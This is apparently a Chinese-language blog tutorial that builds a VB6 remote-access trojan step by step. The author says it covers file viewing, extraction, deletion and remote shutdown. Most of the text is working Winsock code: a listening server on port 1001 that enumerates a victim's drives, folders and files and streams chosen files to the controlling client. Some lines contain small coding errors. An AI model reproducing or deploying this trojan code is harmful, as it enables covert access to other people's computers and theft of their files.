本木马程序可以实现对远程计算机的文件查看、文件提取、指定打开特定窗口、删除文件、控制开机、重启、关机等功能,下面让我来一步步讲解如何实现这些功能
首先运行服务端,并在1001号端口监听,其中winsock控件为数组控件,可以实现多连接操作,若不是数组控件,则只能实现一个连接操作
在Form_Load事件中对端口进行监听
Private Sub Form_Load() On Error GoTo Form_Load_Error intmax = 0 objTCP(intmax).LocalPort = 1001 objTCP(intmax).Listen Form_Load_Exit: Exit Sub Form_Load_Error: MsgBox Err.Description, vbCritical, "Error!" Exit Sub End Sub
在winsock控件中 对 ConnectionRequest 事件进行监听,没有一个新连接,就在内存中分配一个winsock控件,并用它接收连接请求,这样就实现了多连接的操作
Private Sub objTCP_ConnectionRequest(Index As Integer, ByVal requestID As Long) On Error GoTo objTCP_ConnectionRequest_Error If Index = 0 Then intmax = intmax + 1 Load objTCP(intmax) '将objTCP(1)加载到内存里 objTCP(intmax).Accept requestID '用objTCP(1)接收连接请求 objTCP(intmax).SendData Enum_Drives End If objTCP_ConnectionRequest_Exit: Exit Sub objTCP_ConnectionRequest_Error: MsgBox Err.Description, vbCritical, "Error!" Exit Sub End Sub
上面调用了 Enum_Drivers 函数 ,枚举了服务端所有驱动器,并将返回的字符串发送到客户端
下面看看Enum_Drivers 这个函数
Public Function Enum_Drives() As String Dim strDrive As String Dim strMessage As String Dim intCnt As Integer Dim rtn As String strMessage = "|DRVS|" For intCnt = 65 To 86 '从A到V strDrive = Chr(intCnt) Select Case GetDriveType(strDrive + ":\") Case DRIVE_REMOVABLE rtn = "Floppy Drive" Case DRIVE_FIXED rtn = "Hard Drive" Case DRIVE_REMOTE rtn = "Network Drive" Case DRIVE_CDROM rtn = "CD-ROM Drive" Case DRIVE_RAMDISK rtn = "RAM Disk" Case Else rtn = "" End Select If rtn <> "" Then strMessage = strMessage & strDrive & "," & GetDriveType(strDrive + ":\") & "|" '返回这样的字符串 |DRVS|C,3|D,3|E,3| End If Next intCnt Enum_Drives = Mid$(strMessage, 1, Len(strMessage) - 1) End Function
通过调用Windows API函数——GetDriverType 返回类似 |DRVS|C,3|D,3|E,3| 这样的字符串
我们将此字符串通过SendData 方法,发送给客户端。
下面让我们来看一下客户端如何处理
在请求连接的时候,给TreeView 控件增加一个根节点
Private Sub objTCP_Connect() On Error GoTo objTCP_Connect_Error With frmMain .tvTreeView.Nodes.Add , , "xxxROOTxxx", txtRemoteComputer.Text, "RC", "RC" .tbToolbar.Buttons("DISCONNECT").Enabled = True .tbToolbar.Buttons("CONNECT").Enabled = False End With Me.Visible = False objTCP_Connect_Exit: Exit Sub objTCP_Connect_Error: MsgBox Err.Description, vbCritical, "Remote Computer Explorer!" Exit Sub End Sub
在DataArrival事件中,对接收过来的字符串进行判断,看是否为|DRVS|开头,如果是,则进入 Populate_Tree_With_Drives
Private Sub objTCP_DataArrival(ByVal bytesTotal As Long) Dim Strdata As String objTCP.GetData Strdata, vbString If InStr(1, Strdata, "|DRVS|") <> 0 Then Populate_Tree_With_Drives Strdata, frmMain.tvTreeView Exit Sub End If End Sub
下面看看Populate_Tree_With_Drives
Public Sub Populate_Tree_With_Drives(sDrives As String, objTV As TreeView) Dim objDriveCollection As Collection Dim lLoop As Long Dim sDriveLetter As String Dim iDriveType As String Dim objSngDrive As Collection Dim sImage As String sDrives = Mid$(sDrives, 7, Len(sDrives)) Set objDriveCollection = ParseString(sDrives, "|") For lLoop = 1 To objDriveCollection.Count Set objSngDrive = ParseString(objDriveCollection.Item(lLoop), ",") With objSngDrive sDriveLetter = .Item(1) iDriveType = CInt(.Item(2)) End With Select Case iDriveType Case DRIVE_REMOVABLE sImage = "FD" Case DRIVE_FIXED sImage = "HD" Case DRIVE_REMOTE sImage = "ND" Case DRIVE_CDROM sImage = "CD" Case DRIVE_RAMDISK sImage = "RAM Disk" Case Else sImage = "" End Select objTV.Nodes.Add "xxxROOTxxx", tvwChild, sDriveLetter & ":\", sDriveLetter & ":\", sImage, sImage Next lLoop Populate_Tree_With_Drives_Exit: Exit Sub Populate_Tree_With_Drives_Error: Err.Raise Err.Number, "Procedure: Populate_Tree_With_Drives" & vbCrLf & "Module: modParser" Exit Sub End Sub
我们对|DRVS|C,3|D,3|E,3| 字符串进行解析 解析后包含在集合中objDriveCollection
包含 "c,3","d,3","e,3" objSngDrive再对objDriveCollection 进行解析,解析后为 "c","3" ……
解析完毕之后加入TrewView控件中,这时候我们就可以看到下图所示的效果
如果我们点击硬盘,将弹出此硬盘下的所有文件,客户端代码如下
Private Sub tvTreeView_NodeClick(ByVal Node As ComctlLib.Node) Dim sData As String Me.MousePointer = vbHourglass sData = "|FOLDERS|" & Node.Key frmConnection.objTCP.SendData (sData) End Sub
如果我们点击的是C盘,那么将向服务器发送 "|FOLDERS|C:\" 这样的字符串
下面是服务端处理的代码
Private Sub objTCP_DataArrival(Index As Integer, ByVal bytesTotal As Long) Dim strData As String Dim iCommand As Integer Dim sData As String Dim lRet As Long objTCP(intmax).GetData strData If InStr(1, strData, "|FOLDERS|") <> 0 Then sData = Enum_Folders(Mid$(strData, 10, Len(strData))) objTCP(intmax).SendData sData DoEvents Sleep (500) sData = Enum_Files(Mid$(strData, 10, Len(strData))) objTCP(intmax).SendData sData End If End Sub
我们可以看出 由调用了 Enum_Folders 和 Enum_Files 函数处理,并将此函数的返回值发回客户端 let us go to see
Public Function Enum_Folders(sParentPath As String) As String Dim strMessage As String Dim wfd As WIN32_FIND_DATA Dim hFind As Long strMessage = "|FOLDERS|" sParentPath = NormalizePath(sParentPath) hFind = FindFirstFile(sParentPath & vbAllFileSpec, wfd) If (hFind <> INVALID_HANDLE_VALUE) Then Do If (wfd.dwFileAttributes And vbDirectory) Then ' If not a "." or ".." DOS subdir... If (Asc(wfd.cFileName) <> vbAscDot) Then strMessage = strMessage & sParentPath & "," & Mid$(wfd.cFileName, 1, InStr(wfd.cFileName, vbNullChar) - 1) & "|" End If End If Loop While FindNextFile(hFind, wfd) Call FindClose(hFind) End If Screen.MousePointer = vbDefault Enum_Folders = Mid$(strMessage, 1, Len(strMessage) - 1 End Function
Enum_Folders 主要功能是 获取驱动器下的所有文件夹名称,返回形如"|FOLDERS|c:\,Recycle.bin|c:\,360Download|"
客户端接收到此字符串,调用Populate_Folders Strdata 进行处理
Private Sub objTCP_DataArrival(ByVal bytesTotal As Long) Dim Strdata As String objTCP.GetData Strdata, vbString If InStr(1, Strdata, "|FOLDERS|") <> 0 Then Populate_Folders Strdata, frmMain.tvTreeView Exit Sub End If End Sub
Public Function Populate_Folders(sFolderString As String, objTV As TreeView) On Error Resume Next Dim objFolderCollection As Collection Dim lLoop As Long Dim sParentPath As String Dim sFolder As String Dim objSngFolder As Collection Dim sFolderList As String sFolderList = Mid$(sFolderString, 10, Len(sFolderString)) Set objFolderCollection = ParseString(sFolderList, "|") For lLoop = 1 To objFolderCollection.Count Set objSngFolder = ParseString(objFolderCollection.Item(lLoop), ",") With objSngFolder sParentPath = .Item(1) sFolder = .Item(2) End With With objTV.Nodes If Len(sParentPath) > 4 Then .Add Mid$(sParentPath, 1, Len(sParentPath) - 1), tvwChild, sParentPath & sFolder, sFolder, "CLOSED", "OPEN" Else .Add sParentPath, tvwChild, sParentPath & sFolder, sFolder, "CLOSED", "OPEN" End If End With Next lLoop End FunctionPopulate_Folders 函数中 sFolderList 返回 "C:\,$Recycle.Bin,C:\,360Download",把 sFolderList 按照 ","进行解析 ,把结果保存到 objFileCollection 集合中,其中objSngFolder 集合中的元素类似
[C:\ , $Recycle.bin] ,最后在TreeView控件中增加相应的节点。效果如图所示
再来看看 Enum_Files 函数
Public Function Enum_Files(sParentPath As String) As String Dim wfd As WIN32_FIND_DATA Dim hFind As Long Dim strString As String Dim sFileName As String strString = "|FILES|" sParentPath = NormalizePath(sParentPath) hFind = FindFirstFile(sParentPath & "\" & vbAllFileSpec, wfd) If (hFind <> INVALID_HANDLE_VALUE) Then Do sFileName = left$(wfd.cFileName, InStr(fd.cFileName, vbNullChar) - 1) If sFileName <> "." And sFileName <> ".." Then If wfd.dwFileAttributes <> vbDirectory Then strString = strString & sParentPath & left$(wfd.cFileName, InStr(wfd.cFileName, vbNullChar) - 1) & "|" & FileLen(sParentPath & wfd.cFileName) & "," End If End If Loop While FindNextFile(hFind, wfd) Call FindClose(hFind) End If If strString <> "|FILES|" Then Enum_Files = Mid$(strString, 1, Len(strString) - 1) Else Enum_Files = strString End If End Function
上面函数的主要功能是 调用Windows API 函数 FindFirstFile 传递参数 c:\\*.* ,返回 c:\ 目录下第一个文件,并把结果保存到 WIN32_FIND_DATA 结构体wfd 变量中
然后去除空字符,FindNextFile 循环下一个文件,把符合条件的文件拼接成字符串结果如下所示 "|FILES|C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24"
最后将这个字符串返回,并发往客户端。
客户端接收到请求,调用 Populate_Files 处理
Private Sub objTCP_DataArrival(ByVal bytesTotal As Long)
Dim Strdata As String
objTCP.GetData Strdata, vbString
If InStr(1, Strdata, "|FILES|") <> 0 Then
Populate_Files Strdata, frmMain.lvFiles
frmMain.MousePointer = vbDefault
Exit Sub
End If
End Sub
Public Sub Populate_Files(sString As String, objLV As ListView) On Error Resume Next Dim objFileCollection As Collection Dim lLoop As Long Dim sParentPath As String Dim sFile As String Dim objSngFile As Collection Dim sFileList As String Dim objPartCollection As Collection sFileList = Mid$(sString, 8, Len(sString)) frmMain.lvFiles.ListItems.Clear DoEvents Set objFileCollection = ParseString(sFileList, ",") With objFileCollection For lLoop = 1 To .Count If Len(Trim(.Item(lLoop))) <> 0 Then Set objPartCollection = ParseString(.Item(lLoop), "|") objLV.ListItems.Add , objPartCollection(1), Get_File_Name(objPartCollection(1)), "FILE", "FILE" objLV.ListItems(objPartCollection(1)).SubItems(1) = objPartCollection(2) End If Next lLoop End With End Sub
Populate_Files 函数中 sFileList 返回 "C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24" 然后把ListView控件清空,把sFileList按照 ","进行解析 ,把结果保存到 objFileCollection 集合中,其中objFileCollection 集合中的元素类似
[C:\$Recycle.Bin|0,C:\.rnd|1024,C:\autoexec.bat|24] ,然后循环遍历这个集合,再按"|"进行解析,把结果保存到objPartCollection 这个集合中 ,最后在istView控件控件中把 文件名和文件大小显示出来,效果如图所示
其中文件夹的文件大小为0
选中一个文件,当点击工具栏按钮的保存图标时,执行下面的函数
Private Sub tbToolBar_ButtonClick(ByVal Button As ComctlLib.Button) Dim iResult As Integer Select Case Button.Key Case "DOWNLOAD" 'Starts a download If frmConnection.objTCP.State <> 7 Then MsgBox "No connection established!", vbInformation, "Remote File Explorer" Exit Sub End If With objCommonDialog .DialogTitle = "Save remote file to:" .FileName = Me.lvFiles.SelectedItem.Text .ShowSave If Len(Dir(.FileName)) <> 0 Then iResult = MsgBox(.FileName & " exists! Do you wish to overwrite this file?", vbQuestion + vbYesNoCancel, "Remote File Explorer") If iResult = vbNo Then Exit Sub End If End If Open .FileName For Binary As #1 End With bFileTransfer = True frmConnection.objTCP.SendData "|GETFILE|" & lvFiles.SelectedItem.Key frmDownloading.lblFIleName = lvFiles.SelectedItem.Text frmDownloading.Show , Me
首先判断连接是否关闭,如果没有关闭,显示一个保存为对话框,标题为"Save remote file to:" ,文件名为选中的ListView列表中的文本
设置文件传输标志为True
如果本地存在文件,那么提示是否覆盖它,然后在本地创建这个文件,往服务器发送请求字符串,例如:"|GETFILE|d:\debug.zip"
接下来我们看看服务端怎么处理
Private Sub objTCP_DataArrival(Index As Integer, ByVal bytesTotal As Long) Dim strData As String Dim iCommand As Integer Dim sData As String Dim lRet As Long objTCP(intmax).GetData strData If InStr(1, strData, "|GETFILE|") <> 0 Then SendFile Mid$(strData, 10, Len(strData)), objTCP(intmax) objTCP(intmax).SendData "|COMPLETE|" End If End Sub
服务端调用SendFile 函数发送数据
Public Sub SendFile(FileName As String, WinS As Winsock) Dim FreeF As Integer Dim LenFile As Long Dim nCnt As Long Dim LocData As String Dim LoopTimes As Long Dim i As Long FreeF = FreeFile Open FileName For Binary As #99 nCnt = 1 LenFile = LOF(99) WinS.SendData "|FILESIZE|" & LenFile DoEvents Sleep (400) Do Until nCnt >= (LenFile) LocData = Space$(1024) 'Set size of chunks Get #99, nCnt, LocData 'Get data from the file nCnt is from where to start the get If nCnt + 1024 > LenFile Then WinS.SendData Mid$(LocData, 1, (LenFile - nCnt)) Else WinS.SendData LocData 'Send the chunk End If nCnt = nCnt + 1024 Loop Close #99 End Sub
我们看到,先发送一个像"|FILESIZE|47052"的字符串给服务器,然后打开客户端选中的文件,每次发送1024字节的数据给客户端
接下来我们看客户端如何处理
Private Sub objTCP_DataArrival(ByVal bytesTotal As Long) Dim Strdata As String objTCP.GetData Strdata, vbString If bFileTransfer = True Then If InStr(1, Strdata, "|FILESIZE|") <> 0 Then frmDownloading.lblBytes.Caption = CLng(Mid$(Strdata, 11, Len(Strdata))) frmDownloading.objProg.Max = CLng(Mid$(Strdata, 11, Len(Strdata))) Exit Sub End If Put #1, , Strdata With frmDownloading.objProg If (.Value + Len(Strdata)) <= .Max Then .Value = .Value + Len(Strdata) Else .Value = .Max DoEvents End If End With End If
If InStr(1, Strdata, "|COMPLETE|") <> 0 Then frmDownloading.objProg.Value = frmDownloading.objProg.Max MsgBox "File Received!", vbInformation, "Download Complete!" bFileTransfer = False Put #1, , Strdata Close #1 Unload frmDownloading Set frmDownloading = Nothing DoEvents If bGettingDesktop = True Then bGettingDesktop = False Shell "MSPaint " & App.Path & "\desktop.bmp", vbMaximizedFocus End If Exit Sub End If